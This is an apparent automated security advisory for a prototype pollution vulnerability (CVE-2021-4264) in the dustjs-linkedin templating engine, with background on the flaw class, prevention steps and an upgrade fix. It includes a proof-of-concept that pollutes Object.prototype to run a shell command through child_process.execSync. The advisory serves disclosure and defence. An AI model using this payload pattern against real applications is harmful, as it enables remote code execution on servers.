High severity - Prototype Pollution vulnerability in dustjs-linkedin (package.json)

[github-actions]

• Package Manager: npm
• Vulnerable module: dustjs-linkedin
• Introduced through: [email protected] and [email protected]

Detailed paths

• Introduced through: [email protected] › [email protected]

Overview

dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the blocks Array attribute of the object context within the compileBlocks function. This vulnerability can be leveraged for code execution since this property is added to the compiled function, which is then executed by the VM module.

PoC

const dust = require('dustjs-linkedin');


let cmd = "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl 127.0.0.1')"
Object.prototype.ANY_CODE= [cmd];
const compiled = dust.compile(`{username} is a valid Dust reference.{~n}`);
const tmpl = dust.loadSource(compiled);
dust.render(tmpl, { username: "byc_404" }, (err, out) => {
    if (err) throw err;
    console.log(out);
});

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dustjs-linkedin to version 3.0.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub PR
  
  SNYK-JS-DUSTJSLINKEDIN-1089257
  (CVE-2021-4264) [email protected]